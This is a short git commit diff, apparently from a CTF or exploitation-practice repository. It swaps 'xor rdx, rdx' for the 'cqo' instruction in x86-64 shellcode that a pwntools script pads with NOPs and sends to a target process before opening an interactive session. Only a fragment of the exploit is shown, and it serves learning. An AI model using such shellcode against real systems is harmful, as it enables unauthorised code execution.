learnt about the cqo instruction that sign-extends rax into rdx

2024-10-23 14:17:52 +00:00
parent 8ba0d691c2
commit 24121c97b3
2 changed files with 5 additions and 5 deletions
@@ -14,7 +14,7 @@ add r9, 0x4500
 mov r15, 0x2f
 push r15
 lea rsi, [rsp]
-xor rdx, rdx
+cqo
 xor r10, r10
 add ax, 257
 syscall
@@ -31,4 +31,4 @@ shellcode = asm(shellcode)
 shellcode += b"\x90"*(4096-len(shellcode))
 r.sendline(shellcode)

-r.interactive()
+r.interactive()